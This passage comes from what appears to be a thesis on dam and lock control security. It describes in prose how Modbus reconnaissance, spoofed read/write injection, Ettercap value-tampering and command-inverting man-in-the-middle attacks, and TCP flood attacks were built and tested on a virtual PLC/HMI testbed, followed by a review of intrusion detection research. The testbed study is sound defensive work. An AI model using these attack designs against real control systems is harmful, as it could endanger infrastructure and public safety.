Inject random requests (spoofed HMI to PLC)

4

Injection (MitM)

Req. Inj. 2

Inject sensical requests (spoofed HMI to PLC)

5

Injection (MitM)

Resp. Inj. 1

Inject random responses (spoofed PLC to HMI)

6

Injection (MitM)

Resp. Inj. 2

Inject sensical responses (spoofed PLC to HMI)

7

Alteration (MitM)

MitM Alt. 1

Change read request payload from HMI to PLC

8

Alteration (MitM)

MitM Alt. 2

Change read response payload from PLC to HMI

9

Alteration (MitM)

MitM Alt. 3

Change write payload from HMI to PLC

10

DoS/MitM

DoS/MitM

Intercept and drop all packets

11

DoS

DoS Flood

Flood with TCP packets

These attacks were inserted randomly into one of two sets of generic operational network
traffic: one with reservoir water levels staying in the standard operating range and one
with the reservoir side slowly rising as if the waterway was in a flood situation. A seed
was used to initialize the random insertion of the attacks; by using this method, the tests
are repeatable by another researcher using the same seed.
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4.2 Attack Development
In this section, each of the aforementioned attacks is described in further detail, including
the implementation of each attack and the expected and tested results when implemented
independently against the unprotected system.

Unless noted otherwise, PyModbus

libraries were used to create these attacks; PyModbus is a Modbus implementation
written for use with Python [49]. It can be used to read and send Modbus packets, and
therefore to create attacks against systems using the protocol.
The attack programs detailed in this section may all be implemented using an
overarching command line program. After typing the program name, the user specifies
which of the attacks is to be implemented by using its reference number as listed in Table
10. The only exception to this method is the DoS Flood attack, which is performed using
the Low Orbit Ion Cannon (LOIC) software as described in 4.2.10.
To verify that the attacks worked correctly, their resulting outputs and expected
effects were compared to results shown in Wireshark, as well as PLC address values read
using Radzio Modbus Master Simulator, a software that queries Modbus devices to read
and display their memory values [45],[50].

4.2.1 Query 1 Attack
Query 1 operates by sending read requests to valid Modbus addresses.
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4.2.1.1 Design
The querying program creates four binary arrays, one each for coil, discrete input,
holding, an analog input registers (QX, IX, QW, and IW on OpenPLC; see Table 4 for
mapping) with elements in each for every address in these registers in the targeted PLC.
For example, the holding register addresses in OpenPLC range from %QW0 to %QW99,
so the corresponding array in the query program is 100 elements long. The analog input
register also has 100 addresses, while the coil and and discrete input registers each have
800 [39]. All array elements are initialized to false, or 0. Each time a query returns a
non-zero value, a true, or 1, is written to the corresponding array element. The program
cycles through all addresses in a given register in this same manner, then moves to the
next register and repeats this loop. A flowchart of the scan for a single register is shown
in Figure 47.
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Figure 47: Flowchart of a Query 1 scan for a single register
Modbus returns a zero in the cases of both a zero being stored in the address and the
address being empty, as there is no “null” return in Modbus, so this reconnaissance scan
must be implemented multiple times over a longer window of time to verify that the
addresses read are consistently returning zero, implying that these addresses are not in
use as opposed to simply storing a zero. For these tests, the read queries are sent every
thirty minutes over the course of a day. The addresses which return a value of zero in
every scan, and thus still have a 0 in their associated array after the query program has
run multiple times, are assumed to be unused.
Because some values, especially in larger systems, do not change very often, there
is room for error in both this and the following query methods. An example would be the
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emergency shutoff, as this will presumably not be changed throughout an average day of
system use.
This attack may be tailored to other PLCs with different register sizes by
adjusting the maximum size variable within the attack program so that the read requests
are sent to the correct number of addresses.
4.2.1.2 Results
To test Query 1, the program’s results were compared to the values shown in Radzio at
the same time, and the program’s results regarding which addresses contained values
aligned with those containing non-zero amounts in Radzio [50]. The comparison is
shown in Figures 48 and 49.

Figure 48: Four Radzio screenshots from Query 1 tests
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Figure 49: Results of Query 1 test
4.2.2 Query 2 Attack
Query 2 is designed to perform reconnaissance while minimizing the number of packets
sent to the PLC.

4.2.2.1 Design
Query 2 operates in a similar manner to Query 1 in that it sends read requests sequentially
through the addresses of each PLC register one by one. However, to minimize the
number of requests sent to the PLC, Query 2 tracks the number of 0 responses received.
After three such consecutive non-zero responses, the last address with a non-zero
response is saved if it is greater, and thus farther into the register, than the previously
saved presumed last register. Just as with Query 1, this scanning loop is repeated for
each register every half hour over the course of a day. This approach does not require the
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use of arrays, as only the presumed last address in use is stored. A flowchart of the scan
for a single register is shown in Figure 50.

Figure 50: Flowchart of a Query 2 scan for a single register
By halting a scan loop after finding three consecutive zeros, the program will stop
scanning when it is presumably through all the addresses in use, thus taking less time per
scan and being harder to detect.

One weakness of this approach, along with those
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mentioned for Query 1, is that this method assumes that addresses are used consecutively
and not assigned randomly.
4.2.2.2 Results
Query 2 was tested in the same manner as Query 1, with the program results being
compared to those viewed in Radzio.

To confirm that the program was correctly

detecting changes in address values over time, the HMI sent different commands to the
PLC over time. These included opening the lower gate, opening and closing the filling
valve,and closing the emptying valve; these are stored in %QX0.2, 0.4, 0.5, and 0.7,
respectively. The coil and input addresses found by the Query 2 program are the same as
those found in Query 1. Figure 51 shows the output of the attack program.

Figure 51: Results of Query 1 test
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4.2.3 Req. Inj. 1 Attack
Request Injection 1 entails sending read commands/requests from the spoofed HMI
address in order to elicit a response from the PLC.
4.2.3.1 Design
In this attack, read requests are sent to pseudo-random addresses, meaning that they may
or may not actually be in use on the PLC. The attack program first chooses which of the
four OpenPLC registers to query, with Modbus function codes 01, 02, 03, and 04
requesting values be read from the coil, discrete input, holding, and analog input
registers, respectively. Modbus read requests are structured such that the sender selects a
starting address, then specifies the number of addresses to be read [51]. For example, a
request consisting of 28 and 6 would be a request to read addresses 28 through 34. This
packet structure is shown more extensively in the example packet in Figure 52 and in the
screenshot in Figure 53.

Figure 52: Modbus read request packet structure

Figure 53: Modbus read request packet in Wireshark
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After a register is pseudo-randomly selected, the starting address is chosen within the
bounds of the addresses in that register. The number of addresses to read following that
starting address is also limited to be between one, which would be the starting address
only, and up to and including the last known address in use. For coil and discrete input
registers, this is up to 800 addresses; for holding and analog registers, this is 100. A
flowchart of this program’s operation is shown in Figure 54.

Figure 54: Flowchart of the Request Injection 1 attack program
4.2.3.2 Results
To test Request Injection 1, the program was run multiple times with returned read results
checked against those shown in Radzio as being in the corresponding addresses on the
PLC. These results are shown in the screenshots in Figures 55 and 56.
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Figure 55: Results of Request Injection 1 test

Figure 56: Radzio screenshot of corresponding addresses from Req. Inj. 1 test
4.2.4 Req. Inj. 2 Attack
Request Injection 2 also sends read requests to the PLC, but this attack is designed to
cause less suspicion by sending only to addresses on the PLC which are in use.
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4.2.4.1 Design
Just as with the previously described injection attack, Request Injection 2 entails sending
read commands/requests sent from the spoofed HMI address, to which the PLC will
respond. These read requests are only sent to addresses that are in use on the PLC,
making the assumption that the attacker performed successful reconnaissance prior to
implementing the injection. After a register is pseudo-randomly selected, the starting
address is chosen within the bounds of the addresses in use in that register. The number
of addresses to read following that starting address is also limited to be between one,
which would be the starting address only, and the total number of addresses in use in that
register. A flowchart of this program’s operation is shown in Figure 57.

Figure 57: Flowchart of the Request Injection 2 attack program
4.2.4.2 Results
Just as with Req. Inj. 1, Req. Inj. 2 was tested by repeatedly running the program and
comparing the results to the address contents shown in Radzio. Figures 58 and 59 show
the program results and corresponding Radzio screenshots.

Note that because the

discrete input register was found in reconnaissance to not be in use, the attack program
did not send a read request when that register was pseudo-randomly chosen.
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Figure 58: Results of Request Injection 2 test

Figure 59: Radzio screenshot of corresponding addresses from Req. Inj. 2 test
4.2.5 Resp. Inj. 1 Attack
In Response Injection 1, the attack program sends false data, or responses, to the PLC to
write to register addresses.
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4.2.5.1 Design
Modbus protocol has four function codes used for writing to the PLC: 05 and 15 to write
to single or multiple coil addresses and 06 and 16 to write to single or multiple holding
register addresses. The discrete and analog registers are read-only, so no data can be
inserted into these registers by a network injection attack. Therefore, Response Injection
1 online creates write requests for the coil and holding registers.
The packet structure of a write request is shown more extensively in Figures 60
and 61 below for writing true (0xFF00) to a single address in the coil register. The
functions to write to the holding registers are similar, with different function codes and
longer values, as the holding register holds sixteen bits instead of a single bit like in the
coil register. Just as with read requests, the packets in which multiple addresses are
accessed (function codes 15 and 16) include a starting address and a number indicating
how many of the following addresses are to be written.

Figure 60: Modbus write request packet structure for a single address in the coil register
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Figure 61: Modbus capture of a write request packet for a single address in the coil
register
Due to the aforementioned limited register sizes, it is possible to create a packet that asks
the PLC to overwrite data beyond the bounds of the requested register. In this program, it
is assumed that the attacker knows what PLC is in use, and thus the address space of each
register, but not which of these addresses are in use.
The attack program first pseudo-randomly selects which of the four write function
codes to use, then determines the address and size of data to send. One of four packet
types is crafted depending on which of the four write function codes is chosen. In the
cases of function codes 05 and 06, for writing a single value to the coil or holding
registers, the attack program simply pseudo-randomly generates one value. Writing
multiple values to either register is slightly more complex. Both function codes 15 and
16 require the packet to list the number of addresses to write, including the starting
address. The pseudo-randomly generated addresses will range from zero to 799 in the
case of function code 15, to write multiple values to the coil register, and from zero to
ninety-nine for function code 16 to write to the holding register. If the pseudo-random
length will cause the register to overflow, the length is reduced to exactly the number of
addresses available. For example, if the function code is 16 and the address is 96, there

100

are only three addresses (97, 98, and 99) left in the register. If the length generated by
the attack program is greater than three, the program will then reduce the length to
exactly the number of addresses available. A flowchart of this injection program’s
operation is shown in Figure 62.

Figure 62: Flowchart of the Response Injection 1 attack program
4.2.5.2 Results
This attack was tested by repeatedly running the program and comparing the results to the
address contents shown in Radzio. Screenshots were taken following the program’s
selection of each of the four possible function codes. Figures 63 through 70 show the
command line output and Radzio address read pairs for function codes 5, 6, 15, and 16,
respectively.
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Figure 63: Results of Response Injection 1, function code 5

Figure 64: Radzio screenshot of addresses from Resp. Inj. 2 test, function code 5

Figure 65: Results of Response Injection 1, function code 6
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Figure 66: Radzio screenshot of corresponding addresses from Resp. Inj. 2 test, function
code 6

Figure 67: Results of Response Injection 1, function code 15

Figure 68: Radzio screenshot of corresponding addresses from Resp. Inj. 1 test, function
code 15
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Figure 69: Results of Response Injection 1, function code 16

Figure 70: Radzio screenshot of corresponding addresses from Resp. Inj. 1 test, function
code 16
4.2.6 Resp. Inj. 2 Attack
Response Injection 2 sends write requests to the PLC, but this attack is designed to not
cause errors or overflow when selecting address ranges.
4.2.6.1 Design
Just as Request Injection 1 sent read request packets to the PLC without accounting for
which register addresses were in use while Request Injection 2 did account for these,
Response Injection 2 also takes this into consideration where Response Injection 1 did
not, making the assumption that the attacker performed successful reconnaissance. The
starting address is chosen within the bounds of the addresses in use on the PLC, and the
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lengths of the payloads are limited to the number of addresses in use. A flowchart of this
injection program’s operation is shown in Figure 71.

Figure 71: Flowchart of the Response Injection 2 attack program
4.2.6.2 Results
Just as with Response Injection 1, this attack was tested by running the program and
comparing the results to the address contents shown in Radzio. For the sake of brevity,
only the results from a single test case, in which the attack program chooses function
code 15 and injects values to the holding register address, are shown. Figures 72 and 73
show the comparisons from this test case.

Figure 72: Results of Response Injection 2, function code 15
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Figure 73: Radzio screenshot of corresponding addresses from Resp. Inj. 2 test, function
code 15
4.2.7 MitM Alt. 1
Beyond simply injecting packets into the system’s network, MitM attacks may also be
used to intercept and alter packets sent between two devices. The first of two alteration
attacks used in this work focuses on the data sent from the HMI to the PLC.

4.2.7.1 Design
The goal of this attack is to modify the read requests sent to the PLC from the HMI.
Modbus read requests are structured as shown in Figure 74 below, with the function code
followed by the reference number, or starting address, and the word count, or number of
values to be read.
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Figure 74: Standard Modbus read request shown in a Wireshark capture
By modifying this reference number, an attacker could cause the PLC to send the HMI
the wrong values. For example, if the HMI requested the values stored in addresses 0
through 4, the read request would list the reference number as 0 and the word count as 5.
If the attack intercepted this packet and changed the reference number to 1, the PLC
would send back the values in addresses 1 through 5. This would result in the HMI
displaying incorrect values for all requested data points.
MitM Alt. 1 does not modify the write request packets sent from the HMI,
meaning the operator’s commands are received unaltered at the PLC. This attack was
written in Ettercap; the code is included in Appendix C.

4.2.7.2 Results
When this attack was implemented, packets from the HMI were altered so that all read
requests started at address 1; during normal operation, these all are supposed to begin at
0. A modified packet can be seen in the Wireshark capture from the PLC VM in Figure
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75.

Compare this screenshot with Figure 74 above and note that the highlighted

reference number in the byte listing is indeed 0001 and not 0000.

Figure 75: Wireshark capture of a modified read request
Figure 76 shows the HMI when the incorrect values are sent back in response to the
modified read requests. The values shown correspond with the value one address higher
than intended. For example, the lower gate position is shown as 0.0 in the screenshot;
this value is stored in %IW3. When the HMI sends a read request with a reference value
of 0, the lower gate position should be the fourth value. However, because the attack
changed the reference value to 1, the HMI is now receiving %IW4, the filling valve
position, as the fourth value. The HMI, therefore, shows 0.0 as the lower gate position
instead of the filling valve position. Coil register values are shifted by one in a similar
manner, resulting in the emergency valve light, %QX1.2, being lit when the light
between the reservoir and chamber depths, %QX1.3, should be on.
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Figure 76: Effects of MitM Alt. 1 shown on the HMI
4.2.8 MitM Alt. 2
The second MitM alteration attack operates in the same manner as Alteration 1: packets
from one legitimate device are captured, modified, and then sent to their intended
destination. In the case of MitM Alteration 2, however, these packets are going from the
PLC to the HMI.

4.2.8.1 Design
For this use case, the attack modifies values so that it appears to the system operator that
the lock chamber can never have a water level equal to that of the reservoir or tailwater,
regardless of the actual water depths. This is achieved by using Ettercap to modify
values sent from the PLC to the HMI.
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First, coil addresses %QX1.0 through %QX1.3 are changed to be equal to zero.
This will prevent the operator from seeing changes in the values denoting warning horn
use, emergency control activation, or alerts signifying when the chamber water level is
equal to that of the reservoir or tailwater. The attack also adds values to %IW6 and
%IW7, the chamber and reservoir depths, respectively. Twenty feet are added to the
chamber depth value sent to the HMI and seven to the reservoir depth, resulting in the
operator being further unable to determine if the chamber level is equal to either the
reservoir or tailwater. This attack was written in Ettercap, and its code is in Appendix D.

4.2.8.2 Results
Implementing this attack resulted in a discrepancy between the PLC’s stored values and
their corresponding displays on the HMI. Figure 77 shows a Wireshark capture from the
PLC in which the PLC is sending data values to the HMI. Register 6, the chamber water
level, is shown as 4250, or 42.5’. However, Figure 78 is a screenshot of the HMI at the
same time that shows the chamber depth as 44.5’. The reservoir depth in Figure 77 is
also shown as 2100, or 21’, while the HMI in Figure 78 shows 28’.
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Figure 77: PLC Wireshark showing chamber water level at 42.5’ during MitM Alt. 2

Figure 78: HMI showing the chamber water level at 44.5’ during MitM Alt. 2
4.2.9 MitM Alt. 3
The third MitM alteration attack intercepts and modifies packets sent from the operator to
the PLC in order to change the values written to the PLC.

4.2.9.1 Design
For this use case, the attack modifies the write values sent to the PLC so that certain
commands are negated. This attack, performed using Ettercap, targets write requests sent
legitimately from the lock’s operator by inverting them. If a binary value of one is sent
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(0xFF00), the packet will be altered to appear that a zero was sent (0x0000), negating any
“on” commands sent from the HMI. The write request packets will only be changed if
the second byte of the transaction identifier, a two byte number sent as part of a Modbus
packet in order to allow senders and receivers to pair requests and responses, is between
0x00 and 0x80.

This means that approximately half of the write requests will be

modified.
This attack was written as an Ettercap filter and shown in Appendix E.

4.2.9.2 Results
When this attack was tested, it functioned as designed. Packets with function code 5, to
write a binary value of one to the PLC, were modified to contain a payload of zero
instead. All buttons on the lock’s HMI are designed to send ones when pressed, meaning
any zero received is a sign of the packet being altered. Figures 79 and 80 show two
packets in Wireshark that were sent one after the other while the attack program was
running. The first one, in Figure 79, has a transaction identifier of 19453, or 0x4BFD.
Because the second byte of this identifier, 0xFD, is larger than 0x80, the packet was not
altered.

112

Figure 79: The unaltered packet, with identifier 0x4BFD
The next write request packet to be sent during the attack had an identifier of 19456,
which is 0x4C00; this packet is shown in Figure 80. Because 0x00 is less than 0x80, the
data in this packet, which was sent from the HMI as 0xFF00, was altered by the attack
program to 0x0000.

Figure 80: The altered packet, with identifier 0x4C00
4.2.10 MitM DoS
Two methods of DoS attacks are implemented in this work. The first intercepts and drop
all packets sent between the PLC and HMI. This will prevent any and all data from
reaching the PLC.
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4.2.10.1 Design
The MitM DoS attack was written as a relatively simple Ettercap script with one
instruction: drop(). Unlike with the alteration attacks, all packets sent to and from the
Modbus port, port 502, were intercepted by the program then not sent along to their
intended recipients, resulting in no data passing all the way between the PLC and HMI.
The Ettercap filter for this attack is shown in Appendix f.

4.2.10.2 Results
When this DoS was implemented, nearly every packet between the PLC and outside
devices was dropped. The HMI (IP address 192.168.56.3) was unable to get any packets
through to the PLC, as shown in the Wireshark capture from the PLC in Figure 81. Note
that between the five second and twenty-one second marks, no packets were sent to or
from the HMI address.

Figure 81: Wireshark capture of before, during, and after the MitM DoS
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4.2.11 DoS Flood
Instead of intercepting and dropping packets sent to the PLC, this DoS overwhelms the
device by flooding it with read and write requests. This renders the operator unable to
send control commands to the system.

4.2.11.1 Design
This attack is implemented using LOIC to send over 17,000 packets per second to the
targeted system, the PLC [52].

4.2.11.2 Results
These packets were all sent to the PLC’s port 502, the same port used for Modbus
communication with the HMI. Because the DoS packets were sent using TCP, the PLC
attempted to respond with an acknowledgement packet to each as part of the TCP
handshake process. This interaction, combined with running the OpenPLC program,
overwhelmed the PLC and rendered it unable to respond to all of the Modbus packets it
received from the HMI. Not all write and read requests were processed, leading to some
commands being ignored by the PLC.
Figure 82 is a Wireshark capture taken during the DoS Flood that shows multiple
Modbus queries from the HMI being received without resulting in a response packet
being sent.
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Figure 82: Wireshark showing Modbus queries ignored during the DoS Flood
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CHAPTER FIVE

Network Intrusion Detection and Prevention Systems

The second primary contribution of this paper is the recreation of previously proposed
NIDS/IPSs for an independent review of their functionalities. This chapter’s first section
provides a literature review of works detailing types of NIDS/IPSs and their designs.
Three of these systems were selected and duplicated, as described in the second section
of this chapter.

5.1 NIDS/IPS Literature Review
In the following section, previous works on IDSs will be discussed, including the
researchers’ proposed solutions, methods for validation, and experimental results. Each
system discussed in this section was analyzed by its author on a different set of test cases
against different types of threats, meaning it is difficult to assess which system is most
effective overall, particularly on a lock. The overview of systems that follows in the next
three subsystems will be used to determine the IDS/IPSs to be implemented and reviewed
on the testbed.
The concept of implementing programs to detect system intrusion was first
introduced in 1980 when James Anderson published a report on the need for a threat
monitoring and surveillance system in computer security as a whole [53]. It was not until
1987 that Dorothy Denning wrote the first publication on an implemented IDS [24]. In it,
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she hypothesized that abnormal use of a system is necessary for system exploitation, and
that therefore a detection of abnormal patterns in usage would be helpful in detecting
security violations.

She went on to outline a rule-based system called the

intrusion-detection expert system (IDES) in which actions in the system are compared to
previously recorded actions. When a usage deemed abnormal occurs, the IDES system
alerts the security officer for the system so that they may review the anomaly report and
take necessary actions.
Since Denning’s paper, many researchers have expanded on the concept of an
IDS designed to monitor user actions both on a computing system and over a network;
these are referred to as host-based and network-based IDSs. This literature review
focuses primarily on those used to detect network attacks, as this approach is most
applicable to a CPS.
In [14], the authors present a survey and taxonomy of IDS/IPSs in which they
describe how such systems may be categorized based upon approach, method used, attack
types detected, and whether the system is knowledge- or behavioral-based.

Two

knowledge-based approaches discussed in [14] are of particular importance to the
research presented here; these are signature and anomaly detection systems. Signature
detection is used to identify known attacks by monitoring the network for misuse, while
anomaly detection systems use learned models of “normal” to determine when an
abnormal, presumably malicious, occurence is taking place.
knowledge-based IDS/IPSs use direct knowledge.

According to [14], all

Behavioral-based approaches,

however, capture patterns within the system, then use secondary knowledge of system
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operation in order to determine if the observed actions constitute an attack.

This

categorization from [14] is summarized in Table 11.
Table 11: IDS/IPS categorization [14]
Type

Approach

Basis

Signature

Knowledge

Detection of known misuse

Anomaly

Knowledge

Appearance of anomaly versus model of “normal”

Specification

Hybrid

Violation of specifications versus constructed model of “normal”

Behavioral

Behavioral

Match patterns of behavior against captured patterns

[54] presents a methodology for sorting types of IDS/IPSs based upon their degree of
response type and automation level. The publication proposes that IDS/IPSs’ responses
may be passive, in which alarms and reports are generated, or active, in which firewall
rules are created to block the ports and IP addresses utilized by suspected attackers.
These systems may be classified as one of three systems based upon their level of
automation: a notification system, in which information on the suspected intrusion is
provided to the operator; a manual response system, in which system administrators may
choose from a predetermined set of response actions based upon the detected attack; or an
automatic response system, which immediately and automatically responds to the
perceived threat. In this publication, notification and manual response systems will be
listed as IDSs, while automatic response systems will be listed as IPSs, as they are
actively working to prevent an attack.
The classifications outlined in the aforementioned papers will be utilized in
categorizing the systems described below, which are divided into subsections based upon
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their type as detailed in [14]. One system of each type was selected for use on the CPS
testbed also developed for this work.

5.1.1 Knowledge-Based Systems
The first type of security system selected for testing on the virtual lock model was a
knowledge-based NIDS. This variety of IDS, as described in [14], may match traffic
against known patterns of misuse and/or abnormalities in observed data; these are called
signature and anomaly detection, respectively.
In [41], Gao proposed both signature and anomaly detection IDSs to identify
attacks on ICSs. In the signature based IDS, Snort rules are used in conjunction with
predictions of system states to identify threatening system behavior. The anomaly based
IDS uses a combination of decision trees, Bayesian networks, and neural networks to
classify network traffic as normal or potentially malicious.
Gao created a dataset of test traffic which included cyber attacks such as
reconnaissance, command injection, response injection, and DoS; these were used against
a model ICS to determine the effectiveness of the IDSs. In testing, both signature and
anomaly based IDSs had 100% success in identifying DoSs.

For reconnaissance

detection, signature based was more efficient, with 98.7% detected versus only 93% by
anomaly based. Injection attack detection rates were similar for both types of IDS.
Gao’s research in comparing IDS types is beneficial for consideration when
determining the type of system to construct, but there are other types of attacks that must
be considered in a comparison before determining the ideal IDS for a particular system.
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Additionally, a combination signature and anomaly based IDS may serve to better defend
a lock, depending on the needs and available system information.
One downfall of anomaly based IDSs is the need for all normal or expected data
to be included in the initial training set; otherwise, a common, non-malicious use of the
system being protected could be flagged as an intrusion [55]. This action of an IDS
raising an alert for something that is not outside the bounds of permitted use is known as
a false positive, as data is falsely flagged as being a potential attack. These result in a
time and cost consuming need for operators to sort through alarms in order to determine
what actions, if any, constitute a viable threat against the system. Ideally, defenses must
be able to keep up with malicious agents as they progress into using more sophisticated
attacks. The IDS has to be able to identify new types of attacks as they are happening,
even if the system was not originally trained or programmed to identify this specific
method of system exploitation. This lack of automatic adaptability is a common downfall
of knowledge-based IDSs, but it does not mean such systems are not useful in detecting
or preventing known attacks.
In [55], an anomaly based IDS is proposed that combines two learning
algorithms: Error Back-Propagation and Levenberg-Marquardt. The algorithm uses the
patterns and timing of training data to cluster normal and irregular behavior, then model
the boundaries of these types of behaviors. When previously unseen types of traffic are
received, the IDS classifies them based upon their placement within the clustering.
Both normal recorded network traffic and randomly created intrusion scenarios
were used to train the IDS in [55]. Using a sliding window twenty packets large, the IDS
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analysed network traffic. Sixteen attributes were available, but Linda et al. discovered
that limiting the system to using only the eight most relevant attributes and not
considering the less important eight resulted in higher intrusion detection rates and fewer
false positives.

The leave-one-out approach was used to ascertain which of these

attributes were most critical in detecting a cyber attack. When researchers used eight
attributes on an IDS with two “hidden” layers consisting of ten and six neurons, the IDS
detected 100% of attacks with no false positives.
The IDS developed in [55] is an improvement on prior anomaly based IDSs, as its
attack detection rate is higher than those previously mentioned.

However, little

documentation is provided as to what attack types were used in testing and the speed at
which they were performed. Additionally, the hardware requirements to run this IDS are
not discussed, though memory is often limited on PLCs. Further testing will be required
to determine how feasible this multi-algorithm approach will be in implementation on a
dam system.
Attacks against ICSs are not always performed via a single malicious action;
rather, there may be a series of individually acceptable actions that, when combined in
the right order, will lead to system failure. To truly protect a system, an IDS must be able
to detect attacks which take place in this manner as well.
Also of concern to IDS researchers is the number of false negatives, in which
attacks are not detected by the system and malicious actions are ignored. The researchers
in [56] hoped to decrease the number of missed attacks by improving an anomaly
detection system.

Their approach is implemented by using autoassociative kernel
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regression (AAKR) to predict if a behavior can be classified as normal based upon
previously collected data and the statistical probability ratio test (SPRT) to determine the
likelihood of the behavior being normal or abnormal. This information is then assessed
using the probabilities of false positives and negatives before a determination is made.
Once packets are collected from a set of test data, they are sorted using pattern matching
techniques to compare CPU usage, login failures, and the time at which information is
sent. When new traffic does not fit these sorted categories, it is flagged as an anomaly
and possible attack.

This method was tested on a simulated SCADA system while

researchers ran attacks and normal data through the testbed.
Yang et al. discovered that many of the variables monitored by the system were
not impacted by the attack methods used to test the IDS [56]. However, the IDS was still
able to identify DoSs. This approach was also successful in identifying a simulated
insider threat, in which an unusual action was taken by a legitimate user while other
normal processes took place.
One assumption made in the design of the IDS in [56] is that the operations of
SCADA systems are largely predictable.

However, in the case of spillways and

hydroelectric dams, this is not always the case. Many dams operate based on the needs of
the electrical grid; while this can sometimes be predicted by time of day, other factors
impact dam operation as well. The opening and closing of spillways varies based on a
number of factors, including water level and weather conditions such as droughts and
flooding. In the case of heavy rain, for example, all gates may be opened completely to
keep the reservoir from flooding; because this is an out-of-the-ordinary control situation,
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it may look similar to an attack. A pattern matching IDS alone may not be sufficient
when normal control packets are not guaranteed to follow a predictable pattern, as this
may cause false positives when the IDS flags legitimate packets as potential attacks.
Another difficulty in detecting new attack types is the time required by the IDS to
process the incoming packets and determine if the actions recorded constitute a threat. A
solution proposed by Düssel et al. to detect novel attacks uses anomaly detection to
identify threats in real time [2]. Using the Bro network analysis tool, inbound TCP
packet payloads are extracted. Byte sequences in these payloads are sorted into feature
spaces so that the IDS may compare similarities between sequences within a sliding
window.

If these similarities deviate from the learned model of expected system

behavior, the IDS flags the payloads. Multiple methods for determining distance were
proposed.
Two datasets with over 1,000,000 packets recorded at the researchers’ institute
were employed to validate the methods used in [2]. These sets included web application
attacks and buffer overflow attacks used for privilege escalation. The datasets were
randomly broken apart into training, validation, and testing portions of 1,000 packets
each. IDS models using different distance equations were trained, then validated with ten
different validation portions.
Overflow attacks were all identified by the IDSs, but some legitimate payloads
were falsely flagged as web application attacks. Overall, the proposed IDS had an 88%
true positive rate, with only .2% false alarms. The approach in [2] was not tested against
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as many types of attacks, however; injection, replay, and DoS attacks are not addressed in
[2].
The system chosen for reproduction and testing on the lock model is that which is
described in [42]. In that publication, the researcher proposed an anomaly detection
technique that parses the ladder logic run on system PLCs in order to extract register,
data, and usage information to determine what constitutes normal system usage. The
primary areas of concern were address register usage, to determine what parts of the
PLC’s memory should be accessed, and invalid register values, to determine what data
could cause system faults. The proposed IDS also took divide by zero, mathematical
overflow, negative values, and invalid addressing into account. These vulnerabilities
were identified by the parsing program, then used to create Snort rules. This method was
tested on an Allen Bradley PLC connected to an HMI and the IDS using a four port hub.
First, the IDS parsed seven different ladder logic programs, each of which was modeled
after the controls for different types of industry, including home automation and car
manufacturing. Once the number and types of faults were determined, Snort rules were
created.
To test the system against attacks, a less complex ladder logic program was used
so that the researcher could manually verify outcomes. All of the vulnerability rules
created and checked by the researcher were deemed valid.
The IDS discussed in [42] focused on only one proprietary type of PLC using
Rockwell Automation’s Ladder 500 language and the DF1 communication protocol only.
An ideal solution would be able to read standard text (*.st) files, which are industry
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standard and more widely used. However, Richey’s work is still highly beneficial as a
starting place when developing an IDS to parse ladder logic. The methods described in
[42] were implemented in order to reproduce the Modbus-centric IDS in Section 5.2.1.

5.1.2 Behavioral-Based Systems
According to [14], behavioral-based systems are those which use secondary, contextual
information to determine if observed patterns of behavior indicate that the system is
under attack. These observed behaviors may not necessarily be malicious on their own
but can constitute system misuse when context, such as system state, is considered.
NIDS/IPSs using this approach often capture the protected system’s behavioral pattern,
then use matching to determine if the current network traffic matches these expected
patterns.
Researchers in [47] propose using data mining to determine the distance between
newly observed system input and classify these observed events. They introduce State
Extraction Method (STEM) preprocessing to analyze system data and reduce data size.
STEM maps the incoming data to a system state, which is a combination of sensor
measurements and time information.

Then, the Non-nested Generalized Exemplars

(NNGE) algorithm is used to classify these events using rules that are similar to if-then
statements. By preprocessing the data using STEM, the authors of [47] aim to reduce the
space required and number of rules generated by the NIDS.
The NIDS in [47] was tested on a hardware in the loop testbed containing a 3-bus,
2-generator power system.

Scenarios enacted on the testbed included power system
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faults, line maintenance, injection attacks, replay attacks, and normal operation. Three
experiments were performed to determine the accuracy of the IDS. First, multiclass
classification was tested, with the IDS determining which of forty-one different types of
event was occurring on the system. The instances were classified with 94% accuracy.
Injection attacks were the most problematic, with multiple instances of these attacks
being classified as routine maintenance. In the second experiment, the IDS performed
binary classification, determining only if the scenario was routine or an attack. Attacks
were identified with 99% accuracy, and routine operations were identified with 96%
accuracy. The final experiment was designed to test the IDS’s ability to detect attacks
versus routine operation inside and out of its monitoring zone, which it did with an
accuracy rate of 99.54%. The methods used in [47] adequately address the need for a
memory efficient IDS, but this IDS requires a knowledge of the specific system being
protected. Experts must tailor this IDS for each system on which it is to be used.
In [46], researchers propose an IDS that looks at attack correlations, or grouping
of legitimate actions that constitute a cyber attack when performed in a certain manner;
using the classifications found in [14], this system may be classified as using a behavioral
approach. The work in [46] focuses on the Modbus and DNP3 protocols, both of which
are common in ICS communication. Neither of these protocols perform integrity or
authentication checks on received packets, nor do they employ anti-replay or
anti-repudiation mechanisms. The primary aim of this NIDS is to detect attacks launched
against the system using seemingly innocuous commands that, when performed at a
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particular time in the protected system’s operation or while the system is in a specific
state, could lead to a system malfunction.
This proposed IDS is broken down into modules. Using a list with descriptions of
the networked PLC(s) in the system being protected, the first module creates a virtual
image of the system, including critical states and the ways in which they are defined. The
second module analyzes the TCP/IP traffic to determine the protocols in use. Other
modules update the virtual system as changes occur to match the values in the NIDS’s
memory addresses with those of the actual system, analyze this virtual system to identify
critical state changes, and interpret NIDS rules to determine if the system is under attack.
This IDS was implemented in a controlled environment on a laboratory model in
three phases. In the first, single packet detection was tested, with the intent to block a
particular set of explicitly defined commands from the main PLC to a set secondary PLC.
These were all identified and blocked without delay. In the second phase of testing, three
“critical states” were defined in the IDS. These states could be reached by a certain
combination of legitimate commands, but constituted an attack because they would still
result in a system failure. These critical states were all identified by the IDS in this test.
The third and final phase of validation tested how much traffic the IDS could
analyze accurately. Packets were sent at increasing speeds, and the number of expected
and raised alerts were compared. It was not until the traffic rate reached 201 kilobytes
per second that any instances went unnoticed by the IDS, rendering it 100% accurate in
testing at all speeds below this. This work’s exploration of the Modbus and DNP3
protocols is beneficial, but because there is no single standard communication protocol
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for use in dams across the United States, more work is needed to adapt this approach for
Profinet and other common protocols seen in ICSs. Additionally, the computing systems
currently attached to dam controllers may not be powerful enough to create an entire
virtual model of the physical system; this could be more of a drain on resources than
those in charge of the dam desire.

5.1.3 Hybrid Systems
Some IDS/IPSs do not fit neatly into either the knowledge- or behavioral-based
categories. These systems are referred to as hybrids in [14], as they construct a model of
what behaviors are acceptable for the system, then identify attacks when known
specifications are violated. This subsection details two such approaches which do not fit
into either of the two categories in [14]. Because this amalgamation of NIDS/IPS types
